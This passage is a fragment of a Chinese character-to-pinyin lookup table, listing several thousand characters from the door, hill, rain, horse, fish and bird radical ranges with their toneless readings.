閣 ge 閤 ge 閥 fa 閦 chu 閧 hong 閨 gui 閩 min 閪 se 閫 kun 閬 lang 閭 l 閮 ting 閯 sha 閰 ju 閱 yue 閲 yue 閳 chan 閴 qu 閵 lin 閶 chang 閷 sha 閸 kun 閹 yan 閺 wen 閻 yan 閼 e 閽 hun 閾 yu 閿 wen 闀 hong 闁 bao 闂 hong 闃 qu 闄 yao 闅 wen 闆 ban 闇 an 闈 wei 闉 yin 闊 kuo 闋 que 闍 du 闎 闏 闐 tian 闑 nie 闒 ta 闓 kai 闔 he 闕 que 闖 chuang 闗 guan 闘 dou 闙 qi 闚 kui 闛 tang 關 guan 闝 piao 闞 kan 闟 xi 闠 hui 闡 chan 闢 pi 闣 dang 闤 huan 闥 ta 闦 wen 闧 门 men 闩 shuan 闪 shan 闫 yan 闬 han 闭 bi 问 wen 闯 chuang 闰 run 闱 wei 闲 xian 闳 hong 间 jian 闵 min 闶 kang 闷 men 闸 zha 闹 nao 闺 gui 闻 wen 闼 ta 闽 min 闾 l 闿 kai 阀 fa 阁 ge 阂 he 阃 kun 阄 jiu 阅 yue 阆 lang 阇 du,she 阈 yu 阉 yan 阊 chang 阋 xi 阌 wen 阍 hun 阎 yan 阏 e,yan 阐 chan 阑 lan 阒 qu 阓 hui 阔 kuo 阕 que 阖 he 阗 tian 阘 ta 阙 que,jue 阚 kan 阛 huan 阜 fu 阝 fu 阞 le 队 dui 阠 xin 阡 qian 阢 wu 阣 yi 阤 tuo 阥 yin 阦 yang 阧 dou 阨 ai 阩 sheng 阪 ban 阫 pei 阬 keng 阭 yun 阮 ruan 阯 zhi 阰 pi 阱 jing 防 fang 阳 yang 阴 yin 阵 zhen 阶 jie 阷 cheng 阸 e 阹 qu 阺 di 阻 zu 阼 zuo 阽 dian,yan 阾 lin 阿 a,e 陀 tuo 陁 tuo 陂 po,pi,bei 陃 bing 附 fu 际 ji 陆 lu,liu 陇 long 陈 chen 陉 xing 陊 duo 陋 lou 陌 bai,mo 降 jiang,xiang 陎 shu 陏 duo 限 xian 陑 er 陒 gui 陓 yu 陔 gai 陕 shan 陖 jun 陗 qiao 陘 xing 陙 chun 陚 wu 陛 bi 陜 xia 陝 shan 陞 sheng 陟 zhi 陠 pu 陡 dou 院 yuan 陣 zhen 除 chu 陥 xian 陦 dao 陧 nie 陨 yun 险 xian 陪 pei 陫 fei 陬 zou 陭 qi 陮 dui 陯 lun 陰 yin 陱 ju 陲 chui 陳 chen 陴 pi 陵 ling 陶 yao,tao 陷 xian 陸 lu 陹 sheng 険 xian 陻 yin 陼 zhu 陽 yang 陾 reng 陿 xia 隀 chong 隁 yan 隂 yin 隃 yu 隄 di 隅 yu 隆 long 隇 wei 隈 wei 隉 nie 隊 dui 隋 sui 隍 huang 階 jie 随 sui 隐 yin 隑 gai 隒 yan 隓 hui 隔 ge 隕 yun 隖 wu 隗 kui,wei 隘 ai 隙 xi 隚 tang 際 ji 障 zhang 隝 dao 隞 ao 隟 xi 隠 yin 隡 隢 rao 隣 lin 隤 tui 隥 deng 隦 pi 隧 sui 隨 sui 隩 yu 險 xian 隫 fen 隬 ni 隭 er 隮 ji 隯 dao 隰 xi 隱 yin 隲 zhi 隳 hui 隴 long 隵 xi 隶 li 隷 li 隸 li 隹 zhui 隺 hu 隻 zhi 隼 sun 隽 juan,jun 难 nan 隿 yi 雀 que,qiao 雁 yan 雂 qin 雃 jian 雄 xiong 雅 ya 集 ji 雇 hu,gu 雈 huan 雉 zhi 雊 gou 雋 jun 雌 ci 雍 yong 雎 ju 雏 chu 雐 hu 雑 za 雒 luo 雓 yu 雔 chou 雕 diao 雖 sui 雗 han 雘 huo 雙 shuang 雚 guan 雛 chu 雜 za 雝 yong 雞 ji 雟 gui 雠 chou 雡 liu 離 li 難 nan 雤 yu 雥 za 雦 chou 雧 ji 雨 yu 雩 yu 雪 xue 雫 na 雬 fou 雭 se 雮 mu 雯 wen 雰 fen 雱 pang 雲 yun 雳 li 雴 chi 雵 yang 零 ling 雷 lei 雸 an 雹 bao 雺 wu 電 dian 雼 dang 雽 hu 雾 wu 雿 diao 需 xu 霁 ji 霂 mu 霃 chen 霄 xiao 霅 zha 霆 ting 震 zhen 霈 pei 霉 mei 霊 ling 霋 qi 霌 zhou 霍 huo 霎 sha 霏 fei 霐 hong 霑 zhan 霒 yin 霓 ni 霔 shu 霕 tun 霖 lin 霗 ling 霘 dong 霙 ying 霚 wu 霛 ling 霜 shuang 霝 ling 霞 xia 霟 hong 霠 yin 霢 mai 霣 yun 霤 liu 霥 meng 霦 bin 霧 wu 霨 wei 霩 kuo 霪 yin 霫 xi 霬 yi 霭 ai 霮 dan 霯 teng 霰 xian 霱 yu 露 lou,lu 霳 long 霴 dai 霵 ji 霶 pang 霷 yang 霸 ba 霹 pi 霺 wei 霻 霼 xi 霽 ji 霾 mai 霿 meng 靀 meng 靁 lei 靂 li 靃 huo 靄 ai 靅 fei 靆 dai 靇 long 靈 ling 靉 ai 靊 feng 靋 li 靌 bao 靍 he 靎 靏 靐 bing 靑 qing 青 qing 靓 jing,liang 靔 tian 靕 zheng 靖 jing 靗 cheng 靘 qing 静 jing 靚 jing 靛 dian 靜 jing 靝 tian 非 fei 靟 fei 靠 kao 靡 mi 面 mian 靣 mian 靤 pao 靥 ye 靦 mian 靧 hui 靨 ye 革 ge,ji 靪 ding 靫 cha 靬 qian 靭 ren 靮 di 靯 du 靰 wu 靱 ren 靲 qin 靳 jin 靴 xue 靵 niu 靶 ba 靷 yin 靸 sa 靹 na 靺 mo 靻 zu 靼 da 靽 ban 靾 xie 靿 yao 鞀 tao 鞁 bei 鞂 jie 鞃 hong 鞄 pao 鞅 yang 鞆 鞇 yin 鞈 ge 鞉 tao 鞊 jie 鞋 xie 鞌 an 鞍 an 鞎 hen 鞏 gong 鞐 鞑 da 鞒 qiao 鞓 ting 鞔 man 鞕 bian 鞖 sui 鞗 tiao 鞘 qiao,shao 鞙 xuan 鞚 kong 鞛 beng 鞜 ta 鞝 shang 鞟 kuo 鞠 ju 鞡 鞢 xie 鞣 rou 鞤 bang 鞥 eng 鞦 qiu 鞧 qiu 鞨 he 鞩 qiao 鞪 mu 鞫 ju 鞬 jian 鞭 bian 鞮 di 鞯 jian 鞰 wen 鞱 tao 鞲 gou 鞳 ta 鞴 bei 鞵 xie 鞶 pan 鞷 ge 鞸 bi 鞹 kuo 鞺 tang 鞻 lou 鞼 gui 鞽 qiao 鞾 xue 鞿 ji 韀 jian 韁 jiang 韂 chan 韃 da 韄 huo 韅 xian 韆 qian 韇 du 韈 wa 韉 jian 韊 lan 韋 wei 韌 ren 韍 fu 韎 mei 韏 quan 韐 ge 韑 wei 韒 qiao 韓 han 韔 chang 韕 kuo 韖 rou 韗 yun 韘 she 韙 wei 韚 ge 韛 bai 韜 tao 韝 gou 韞 yun 韟 gao 韠 bi 韡 wei 韢 sui 韣 du 韤 wa 韥 du 韦 wei 韧 ren 韨 fu 韩 han 韪 wei 韫 yun 韬 tao 韭 jiu 韮 jiu 韯 xian 韰 xie 韱 xian 韲 ji 音 yin 韴 za 韵 yun 韶 shao 韷 le 韸 peng 韹 huang 韺 ying 韻 yun 韼 peng 韽 an 韾 yin 響 xiang 頀 hu 頁 ye 頂 ding 頃 qing 頄 qiu 項 xiang 順 shun 頇 han 須 xu 頉 yi 頊 xu 頋 e 頌 song 頍 kui 頎 qi 預 yu 頑 wan 頒 ban 頓 dun 頔 di 頕 dan 頖 pan 頗 po 領 ling 頙 che 頚 jing 頛 lei 頜 he 頝 qiao 頞 e 頟 e 頠 wei 頡 jie 頢 kuo 頣 shen 頤 yi 頥 yi 頦 ke 頧 dui 頨 yu 頩 ping 頪 lei 頫 fu 頬 jia 頭 tou 頮 hui 頯 kui 頰 jia 頱 luo 頲 ting 頳 cheng 頴 ying 頵 jun 頶 hu 頷 han 頸 jing 頹 tui 頺 tui 頻 bin 頼 lai 頽 tui 頾 zi 頿 zi 顀 chui 顁 ding 顂 lai 顃 tan 顄 han 顅 qian 顆 ke 顇 cui 顈 jiong 顉 qin 顊 yi 顋 sai 題 ti 額 e 顎 e 顏 yan 顐 wen 顑 kan 顒 yong 顓 zhuan 顔 yan 顕 xian 顖 xin 顗 yi 願 yuan 顙 sang 顚 dian 顛 dian 顜 jiang 顝 kui 類 lei 顟 lao 顠 piao 顡 wai 顢 man 顣 cu 顤 yao 顥 hao 顦 qiao 顧 gu 顨 xun 顩 yan 顪 hui 顫 chan 顬 ru 顭 meng 顮 bin 顰 pin 顱 lu 顲 lan 顳 nie 顴 quan 页 ye 顶 ding 顷 qing 顸 han 项 xiang 顺 shun 须 xu 须 xu 须 xu 须 xu 须 xu 顼 xu 顽 wan 顾 gu 顿 dun 颀 qi 颁 ban 颂 song 颃 hang 预 yu 颅 lu 领 ling 颇 po 颈 geng 颉 jie 颊 jia 颋 ting 颌 he 颍 ying 颎 jiong 颏 ke 颐 yi 频 pin 颒 颓 tui 颔 han 颕 ying 颖 ying 颗 ke 题 ti 颙 yong 颚 e 颛 zhuan 颜 yan 额 e 颞 nie 颟 man 颠 dian 颡 sang 颢 hao 颣 lei 颤 chan 颥 ru 颦 pin 颧 quan 風 feng 颩 diu 颪 颫 fu 颬 xia 颭 zhan 颮 biao 颯 sa 颰 ba 颱 tai 颲 lie 颳 gua 颴 xuan 颵 xiao 颶 ju 颷 biao 颸 si 颹 wei 颺 yang 颻 yao 颼 sou 颽 kai 颾 sao 颿 fan 飀 liu 飁 xi 飂 liao,liu 飃 piao 飄 piao 飅 liu 飆 biao 飇 biao 飈 biao 飉 liao 飊 biao 飋 se 飌 feng 飍 xiu 风 feng 飏 yang 飐 zhan 飑 biao 飒 sa 飓 ju 飔 si 飕 sou 飖 yao 飗 liu 飘 piao 飙 biao 飚 biao 飛 fei 飜 fan 飝 fei 飞 fei 食 si,shi,yi 飠 shi 飡 can 飢 ji 飣 ding 飤 si 飥 tuo 飦 zhan 飧 sun 飨 xiang 飩 tun 飪 ren 飫 yu 飬 yang 飭 chi 飮 yin 飯 fan 飰 fan 飱 sun 飲 yin 飳 zhu 飴 yi 飵 zuo 飶 bi 飷 jie 飸 tao 飹 bao 飺 ci 飻 tie 飼 si 飽 bao 飾 shi 飿 duo 餀 hai 餁 ren 餂 tian 餃 jiao 餄 he 餅 bing 餆 yao 餇 tong 餉 xiang 養 yang 餋 juan 餌 er 餍 yan 餎 le 餏 xi 餐 can 餑 bo 餒 nei 餓 e 餔 bu 餕 jun 餖 dou 餗 su 餘 yu 餙 shi 餚 yao 餛 hun 餜 guo 餝 shi 餞 jian 餟 chuo 餠 bing 餡 xian 餢 bu 餣 ye 餤 dan 餥 fei 餦 zhang 餧 wei 館 guan 餩 e 餪 nuan 餫 yun 餬 hu 餭 huang 餮 tie 餯 hui 餰 jian 餱 hou 餲 ai,he 餳 xing 餴 fen 餵 wei 餶 gu 餷 cha 餸 song 餹 tang 餺 bo 餻 gao 餼 xi 餽 kui 餾 liu 餿 sou 饀 tao 饁 ye 饂 饃 mo 饄 tang 饅 man 饆 bi 饇 yu 饈 xiu 饉 jin 饊 san 饋 kui 饌 zhuan 饍 shan 饎 xi 饏 dan 饐 yi 饑 ji 饒 rao 饓 cheng 饔 yong 饕 tao 饖 wei 饗 xiang 饘 zhan 饙 fen 饚 hai 饛 meng 饜 yan 饝 mo 饞 chan 饟 xiang 饠 luo 饡 zan 饢 nang 饣 shi 饤 ding 饥 ji 饦 tuo 饧 xing 饨 饩 xi 饪 ren 饫 yu 饬 chi 饭 fan 饮 yin 饯 jian 饰 shi 饱 bao 饲 si 饳 duo 饴 yi 饵 er 饶 rao 饷 xiang 饸 he 饹 ge 饺 jiao 饻 xi 饼 bing 饽 bo 饾 dou 饿 e 馀 yu 馁 nei 馂 jun 馃 guo 馄 hun 馅 xian 馆 guan 馇 cha 馈 kui 馉 gu 馊 sou 馋 chan 馍 mo 馎 bo 馏 liu 馐 xiu 馑 jin 馒 man 馓 san 馔 zhuan 馕 nang 首 shou 馗 kui 馘 guo 香 xiang 馚 fen 馛 bo 馜 ni 馝 bi 馞 bo 馟 tu 馠 han 馡 fei 馢 jian 馣 an 馤 ai 馥 fu 馦 xian 馧 yun 馨 xin 馩 fen 馪 pin 馫 xin 馬 ma 馭 yu 馮 feng 馯 han 馰 di 馱 tuo 馲 tuo 馳 chi 馴 xun 馵 zhu 馶 zhi 馷 pei 馸 xin 馹 ri 馺 sa 馻 yun 馼 wen 馽 zhi 馾 dan 馿 lu 駀 you 駁 bo 駂 bao 駃 jue 駄 tuo 駅 yi 駆 qu 駇 wen 駈 qu 駉 jiong 駊 po 駋 zhao 駌 yuan 駍 peng 駎 zhou 駏 ju 駐 zhu 駑 nu 駒 ju 駓 pi 駔 zang 駕 jia 駖 ling 駗 zhen 駘 tai 駙 fu 駚 yang 駛 shi 駜 bi 駝 tuo 駞 tuo 駟 si 駠 liu 駡 ma 駢 pian 駣 tao 駤 zhi 駥 rong 駦 teng 駧 dong 駨 xun 駩 quan 駪 shen 駫 jiong 駬 er 駭 hai 駮 bo 駯 zhu 駰 yin 駱 luo 駲 駳 dan 駴 hai 駵 liu 駶 ju 駷 song 駸 qin 駹 mang 駻 han 駼 tu 駽 xuan 駾 tui 駿 jun 騀 e 騁 cheng 騂 xing 騃 ai 騄 lu 騅 zhui 騆 zhou 騇 she 騈 pian 騉 kun 騊 tao 騋 lai 騌 zong 騍 ke 騎 qi 騏 qi 騐 yan 騑 fei 騒 sao 験 yan 騔 ge 騕 yao 騖 wu 騗 pian 騘 cong 騙 pian 騚 qian 騛 fei 騜 huang 騝 qian 騞 huo 騟 yu 騠 ti 騡 quan 騢 xia 騣 zong 騤 kui 騥 rou 騦 si 騧 gua 騨 tuo 騩 gui 騪 sou 騫 qian 騬 cheng 騭 zhi 騮 liu 騯 peng 騰 teng 騱 xi 騲 cao 騳 du 騴 yan 騵 yuan 騶 zou 騷 sao 騸 shan 騹 qi 騺 zhi 騻 shuang 騼 lu 騽 xi 騾 luo 騿 zhang 驀 mo 驁 ao 驂 can 驃 piao 驄 cong 驅 qu 驆 bi 驇 zhi 驈 yu 驉 xu 驊 hua 驋 bo 驌 su 驍 xiao 驎 lin 驏 zhan 驐 dun 驑 liu 驒 tuo 驓 ceng 驔 dian 驕 jiao 驖 tie 驗 yan 驘 luo 驙 zhan 驛 yi 驜 ye 驝 tuo 驞 pin 驟 zhou 驠 yan 驡 long 驢 l 驣 teng 驤 xiang 驥 ji 驦 shuang 驧 ju 驨 xi 驩 huan 驪 li 驫 biao 马 ma 驭 yu 驮 duo,tuo 驯 xun 驰 chi 驱 qu 驲 ri 驳 bo 驴 l 驵 zang 驶 shi 驷 si 驸 fu 驹 ju 驺 zou 驻 zhu 驼 tuo 驽 nu 驾 jia 驿 yi 骀 dai,tai 骁 xiao 骂 ma 骃 yin 骄 jiao 骅 hua 骆 luo 骇 hai 骈 pian 骉 biao 骊 li 骋 cheng 验 yan 骍 xing 骎 qin 骏 jun 骐 qi 骑 qi 骒 ke 骓 zhui 骔 zong 骕 su 骖 can 骗 pian 骘 zhi 骙 kui 骚 sao 骛 wu 骜 ao 骝 liu 骞 qian 骟 shan 骠 biao,piao 骡 luo 骢 cong 骣 chan 骤 zhou 骥 ji 骦 shuang 骧 xiang 骨 gu 骩 wei 骪 wei 骫 wei 骬 yu 骭 gan 骮 yi 骯 ang 骰 tou 骱 jie 骲 bao 骳 bei 骴 ci 骵 ti 骶 di 骷 ku 骸 hai 骹 qiao 骺 hou 骻 kua 骼 ge 骽 tui 骾 geng 骿 pian 髀 bi 髁 ke 髂 qia 髃 yu 髄 sui 髅 lou 髆 bo 髇 xiao 髈 pang 髉 bo 髊 ci 髋 kuan 髌 bin 髍 mo 髎 liao 髏 lou 髐 xiao 髑 du 髒 zang 髓 sui 體 ti 髕 bin 髖 kuan 髗 lu 高 gao 髙 gao 髚 qiao 髛 kao 髜 qiao 髝 lao 髞 sao 髟 biao 髠 kun 髡 kun 髢 di 髣 fang 髤 xiu 髥 ran 髦 mao 髧 dan 髨 kun 髩 bin 髪 fa 髫 tiao 髬 pi 髭 zi 髮 fa 髯 ran 髰 ti 髱 bao 髲 bi 髳 mao 髴 fu 髵 er 髶 er 髷 qu 髸 gong 髹 xiu 髺 kuo 髻 ji 髼 peng 髽 zhua 髾 shao 髿 sha 鬀 ti 鬁 li 鬂 bin 鬃 zong 鬄 ti 鬅 peng 鬆 song 鬈 quan 鬉 zong 鬊 shun 鬋 jian 鬌 duo 鬍 hu 鬎 la 鬏 jiu 鬐 qi 鬑 lian 鬒 zhen 鬓 bin 鬔 peng 鬕 ma 鬖 san 鬗 man 鬘 man 鬙 seng 鬚 xu 鬛 lie 鬜 qian 鬝 qian 鬞 nong 鬟 huan 鬠 kuo 鬡 ning 鬢 bin 鬣 lie 鬤 rang 鬥 dou 鬦 dou 鬧 nao 鬨 hong 鬩 xi 鬪 dou 鬫 kan 鬬 dou 鬭 dou 鬮 jiu 鬯 chang 鬰 yu 鬱 yu 鬲 ge,li 鬳 yan 鬴 fu 鬵 zeng 鬶 gui 鬷 zong 鬸 liu 鬹 gui 鬺 shang 鬻 yu 鬼 gui 鬽 mei 鬾 ji 鬿 qi 魀 ga 魁 kui 魂 hun 魃 ba 魄 bo,po,tuo 魅 mei 魆 xu 魇 yan 魈 xiao 魉 liang 魊 yu 魋 tui 魌 qi 魍 wang 魎 liang 魏 wei 魐 gan 魑 chi 魒 piao 魓 bi 魔 mo 魕 ji 魖 xu 魗 chou 魘 yan 魙 zhan 魚 yu 魛 dao 魜 ren 魝 ji 魞 魟 hong 魠 tuo 魡 diao 魢 ji 魣 xu 魤 e 魥 ji 魦 sha 魧 hang 魨 tun 魩 mo 魪 jie 魫 shen 魬 ban 魭 yuan 魮 pi 魯 lu 魰 wen 魱 hu 魲 lu 魳 za 魴 fang 魵 fen 魶 na 魷 you 魸 魹 魺 he 魻 xia 魽 han 魾 pi 魿 ling 鮀 tuo 鮁 ba 鮂 qiu 鮃 ping 鮄 fu 鮅 bi 鮆 ci 鮇 wei 鮈 ju 鮉 diao 鮊 bo 鮋 you 鮌 gun 鮍 pi 鮎 nian 鮏 xing 鮐 tai 鮑 bao 鮒 fu 鮓 zha 鮔 ju 鮕 gu 鮖 鮗 dong 鮘 鮙 ta 鮚 jie 鮛 shu 鮜 hou 鮝 xiang 鮞 er 鮟 an 鮠 wei 鮡 zhao 鮢 zhu 鮣 yin 鮤 lie 鮥 luo 鮦 tong 鮧 yi 鮨 yi 鮩 bing 鮪 wei 鮫 jiao 鮬 ku 鮭 gui 鮮 xian 鮯 ge 鮰 hui 鮱 鮲 鮳 kao 鮴 鮵 tuo 鮶 jun 鮷 ti 鮸 mian 鮹 shao 鮺 zha 鮻 suo 鮼 qin 鮽 yu 鮾 nei 鮿 zhe 鯀 gun 鯁 geng 鯂 su 鯃 wu 鯄 qiu 鯅 shan 鯆 pu 鯇 huan 鯈 tiao 鯉 li 鯊 sha 鯋 sha 鯌 kao 鯍 meng 鯎 鯏 鯐 鯑 鯒 yong 鯓 shen 鯔 zi 鯕 qi 鯖 qing 鯗 xiang 鯘 nei 鯙 chun 鯚 ji 鯛 diao 鯝 gu 鯞 zhou 鯟 dong 鯠 lai 鯡 fei 鯢 ni 鯣 yi 鯤 kun 鯥 lu 鯦 jiu 鯧 chang 鯨 jing 鯩 lun 鯪 ling 鯫 zou 鯬 li 鯭 meng 鯮 zong 鯯 zhi 鯰 nian 鯱 鯲 鯳 鯴 shi 鯵 shen 鯶 huan 鯷 ti 鯸 hou 鯹 xing 鯺 zhu 鯻 la 鯼 zong 鯽 ji 鯾 bian 鯿 bian 鰀 huan 鰁 quan 鰂 zei 鰃 wei 鰄 wei 鰅 yu 鰆 chun 鰇 rou 鰈 die 鰉 huang 鰊 lian 鰋 yan 鰌 qiu 鰍 qiu 鰎 jian 鰏 bi 鰐 e 鰑 yang 鰒 fu 鰓 sai 鰔 jian 鰕 xia 鰖 tuo 鰗 hu 鰘 鰙 ruo 鰚 鰛 wen 鰜 jian 鰝 hao 鰞 wu 鰟 pang 鰠 sao 鰡 liu 鰢 ma 鰣 shi 鰤 shi 鰥 guan 鰦 zi 鰧 teng 鰨 ta 鰩 yao 鰪 e 鰫 yong 鰬 qian 鰭 qi 鰮 wen 鰯 ruo 鰰 鰱 lian 鰲 ao 鰳 le 鰴 hui 鰵 min 鰶 ji 鰷 tiao 鰸 qu 鰹 jian 鰺 shen 鰻 man 鰽 qiu 鰾 piao 鰿 ji 鱀 ji 鱁 zhu 鱂 jiang 鱃 xiu 鱄 zhuan 鱅 yong 鱆 zhang 鱇 kang 鱈 xue 鱉 bie 鱊 yu 鱋 qu 鱌 xiang 鱍 bo 鱎 jiao 鱏 xun 鱐 su 鱑 huang 鱒 zun 鱓 shan 鱔 shan 鱕 fan 鱖 gui 鱗 lin 鱘 xun 鱙 yao 鱚 xi 鱛 鱜 鱝 fen 鱞 guan 鱟 hou 鱠 kuai 鱡 zei 鱢 sao 鱣 zhan 鱤 gan 鱥 gui 鱦 ying 鱧 li 鱨 chang 鱩 鱪 鱫 鱬 ru 鱭 ji 鱮 xu 鱯 hu 鱰 鱱 li 鱲 lie 鱳 le 鱴 mie 鱵 zhen 鱶 xiang 鱷 e 鱸 lu 鱹 guan 鱺 li 鱻 xian 鱼 yu 鱽 dao 鱾 ji 鱿 you 鲀 tun 鲁 lu 鲂 fang 鲃 ba 鲄 he 鲅 ba,bo 鲆 ping 鲇 nian 鲈 lu 鲉 you 鲊 zha 鲋 fu 鲌 bo 鲍 bao 鲎 hou 鲏 pi 鲐 tai 鲑 xie,hua,gui 鲒 jie 鲓 kao 鲔 wei 鲕 er 鲖 tong 鲗 zei 鲘 hou 鲙 kuai 鲚 ji 鲛 jiao 鲜 xian 鲝 zha 鲞 xiang 鲟 xun 鲠 geng 鲡 li 鲢 lian 鲣 jian 鲤 li 鲥 shi 鲦 tiao 鲧 gun 鲨 sha 鲩 huan 鲪 jun 鲫 ji 鲬 yong 鲭 qing,zheng 鲮 ling 鲯 qi 鲰 zou 鲱 fei 鲲 kun 鲳 chang 鲴 gu 鲵 ni 鲶 nian 鲷 diao 鲸 jing 鲹 shen 鲺 shi 鲻 zi 鲼 fen 鲽 die 鲾 bi 鲿 chang 鳀 ti 鳁 wen 鳂 wei 鳃 sai 鳄 e 鳅 qiu 鳆 fu 鳇 huang 鳈 quan 鳉 jiang 鳊 bian 鳋 sao 鳌 ao 鳍 qi 鳎 ta 鳏 guan 鳐 yao 鳑 pang 鳒 jian 鳓 le 鳔 biao 鳕 xue 鳖 bie 鳗 man 鳘 min 鳙 yong 鳚 wei 鳛 xi 鳜 gui,jue 鳝 shan 鳞 lin 鳟 zun 鳠 hu 鳡 gan 鳢 li 鳤 guan 鳥 niao 鳦 yi 鳧 fu 鳨 li 鳩 jiu 鳪 bu 鳫 yan 鳬 fu 鳭 diao 鳮 ji 鳯 feng 鳰 鳱 gan 鳲 shi 鳳 feng 鳴 ming 鳵 bao 鳶 yuan 鳷 zhi 鳸 hu 鳹 qin 鳺 fu 鳻 ban 鳼 wen 鳽 jian 鳾 shi 鳿 yu 鴀 fou 鴁 yao 鴂 jue 鴃 jue 鴄 pi 鴅 huan 鴆 zhen 鴇 bao 鴈 yan 鴉 ya 鴊 zheng 鴋 fang 鴌 feng 鴍 wen 鴎 ou 鴏 dai 鴐 jia 鴑 ru 鴒 ling 鴓 mie 鴔 fu 鴕 tuo 鴖 min 鴗 li 鴘 bian 鴙 zhi 鴚 ge 鴛 yuan 鴜 ci 鴝 qu 鴞 xiao 鴟 chi 鴠 dan 鴡 ju 鴢 yao 鴣 gu 鴤 zhong 鴥 yu 鴦 yang 鴧 yu 鴨 ya 鴩 die 鴪 yu 鴫 鴬 ying 鴭 dui 鴮 wu 鴯 er 鴰 gua 鴱 ai 鴲 zhi 鴳 yan 鴴 heng 鴵 xiao 鴶 jia 鴷 lie 鴸 zhu 鴹 yang 鴺 yi 鴻 hong 鴼 lu 鴽 ru 鴾 mou 鴿 ge 鵀 ren 鵁 jiao 鵂 xiu 鵄 chi 鵅 luo 鵆 鵇 鵈 鵉 luan 鵊 jia 鵋 ji 鵌 tu 鵍 huan 鵎 tuo 鵏 bu 鵐 wu 鵑 jian 鵒 yu 鵓 bo 鵔 jun 鵕 jun 鵖 bi 鵗 xi 鵘 jun 鵙 ju 鵚 tu 鵛 jing 鵜 ti 鵝 e 鵞 e 鵟 kuang 鵠 hu 鵡 wu 鵢 shen 鵣 lai 鵤 zan 鵥 鵦 lu 鵧 pi 鵨 shu 鵩 fu 鵪 an 鵫 zhuo 鵬 peng 鵭 qin 鵮 qian 鵯 bei 鵰 diao 鵱 lu 鵲 que 鵳 jian 鵴 ju 鵵 tu 鵶 ya 鵷 yuan 鵸 qi 鵹 li 鵺 ye 鵻 zhui 鵼 kong 鵽 duo 鵾 kun 鵿 sheng 鶀 qi 鶁 jing 鶂 yi 鶃 yi 鶄 jing 鶅 zi 鶆 lai 鶇 dong 鶈 qi 鶉 chun 鶊 geng 鶋 ju 鶌 qu 鶍 鶎 鶏 ji 鶐 shu 鶑 ying 鶒 chi 鶓 miao 鶔 rou 鶕 an 鶖 qiu 鶗 ti 鶘 hu 鶙 ti 鶚 e 鶛 jie 鶜 mao 鶝 fu 鶞 chun 鶟 tu 鶠 yan 鶡 he 鶢 yuan 鶤 kun 鶥 mei 鶦 hu 鶧 ying 鶨 chuan 鶩 wu 鶪 ju 鶫 鶬 cang 鶭 fang 鶮 he 鶯 ying 鶰 yuan 鶱 xian 鶲 weng 鶳 shi 鶴 he 鶵 chu 鶶 tang 鶷 xia 鶸 ruo 鶹 liu 鶺 ji 鶻 gu 鶼 jian 鶽 sun 鶾 han 鶿 ci 鷀 ci 鷁 yi 鷂 yao 鷃 yan 鷄 ji 鷅 li 鷆 tian 鷇 kou 鷈 ti 鷉 ti 鷊 yi 鷋 tu 鷌 ma 鷍 xiao 鷎 gao 鷏 tian 鷐 chen 鷑 ji 鷒 tuan 鷓 zhe 鷔 ao 鷕 yao 鷖 yi 鷗 ou 鷘 chi 鷙 zhi 鷚 liu 鷛 yong 鷜 lou 鷝 bi 鷞 shuang 鷟 zhuo 鷠 yu 鷡 wu 鷢 jue 鷣 yin 鷤 ti 鷥 si 鷦 jiao 鷧 yi 鷨 hua 鷩 bi 鷪 ying 鷫 su 鷬 huang 鷭 fan 鷮 jiao 鷯 liao 鷰 yan 鷱 gao 鷲 jiu 鷳 xian 鷴 xian 鷵 tu 鷶 mai 鷷 zun 鷸 yu 鷹 ying 鷺 lu 鷻 tuan 鷼 xian 鷽 xue 鷾 yi 鷿 pi 鸀 zhu 鸁 luo 鸂 xi 鸄 ji 鸅 ze 鸆 yu 鸇 zhan 鸈 ye 鸉 yang 鸊 pi 鸋 ning 鸌 hu 鸍 mi 鸎 ying 鸏 meng 鸐 di 鸑 yue 鸒 yu 鸓 lei 鸔 bu 鸕 lu 鸖 he 鸗 long 鸘 shuang 鸙 yue 鸚 ying 鸛 guan 鸜 qu 鸝 li 鸞 luan 鸟 niao,diao 鸠 jiu 鸡 ji 鸢 yuan 鸣 ming 鸤 shi 鸥 ou 鸦 ya 鸧 cang 鸨 bao 鸩 zhen 鸪 gu 鸫 dong 鸬 lu 鸭 ya 鸮 xiao 鸯 yang 鸰 ling 鸱 chi 鸲 qu 鸳 yuan 鸴 xue 鸵 tuo 鸶 si 鸷 zhi 鸸 er 鸹 gua 鸺 xiu 鸻 heng 鸼 zhou 鸽 ge 鸾 luan 鸿 hong 鹀 wu 鹁 bo 鹂 li 鹃 juan 鹄 hu,he,gu 鹅 e 鹆 yu 鹇 xian 鹈 ti 鹉 wu 鹊 que 鹋 miao 鹌 an 鹍 kun 鹎 bei 鹏 peng 鹐 qian 鹑 chun 鹒 geng 鹓 yuan 鹔 su 鹕 hu 鹖 he 鹗 e 鹘 hu,gu 鹙 qiu 鹚 ci 鹛 mei 鹜 wu 鹝 yi 鹞 yao 鹟 weng 鹠 liu 鹡 ji 鹢 yi 鹣 jian 鹤 he 鹥 yi 鹦 ying 鹧 zhe 鹨 liu 鹩 liao 鹪 jiao 鹫 jiu 鹬 yu 鹭 lu 鹮 huan 鹯 zhan 鹰 ying 鹱 hu 鹲 meng 鹳 guan 鹴 shuang 鹵 lu 鹶 jin 鹷 ling 鹸 jian 鹹 xian 鹺 cuo 鹻 jian 鹼 jian 鹽 yan 鹾 cuo 鹿 lu 麀 you 麁 cu 麂 ji 麃 biao,pao 麄 cu 麅 pao 麆 zhu 麇 jun,qun 麈 zhu 麉 麊 mi 麋 mi 麌 yu 麍 liu 麎 chen 麏 jun 麐 lin 麑 ni 麒 qi 麓 lu 麔 jiu 麕 jun 麖 jing 麗 li 麘 xiang 麙 xian 麚 jia 麛 mi 麜 li 麝 she 麞 zhang 麟 lin 麠 jing 麡 qi 麢 ling 麣 yan 麤 cu 麥 mai 麦 mai 麧 he 麨 chao 麩 fu 麪 mian 麬 fu 麭 pao 麮 qu 麯 qu 麰 mou 麱 fu 麲 xian 麳 lai 麴 qu 麵 mian 麶 麷 feng 麸 fu 麹 qu 麺 mian 麻 ma 麼 mo 麽 mo 麾 hui 麿 mi 黀 zou 黁 nun 黂 fen 黃 huang 黄 huang 黅 jin 黆 guang 黇 tian 黈 tou 黉 hong 黊 hua 黋 kuang 黌 hong 黍 shu 黎 li 黏 nian 黐 chi 黑 hei 黒 hei 黓 yi 黔 qian 黕 dan 黖 xi 黗 tun 默 mo 黙 mo 黚 qian 黛 dai 黜 chu 黝 you 點 dian 黟 yi 黠 xia 黡 yan 黢 qu 黣 mei 黤 yan 黥 qing 黦 yue 黧 li 黨 dang 黩 du 黪 can 黫 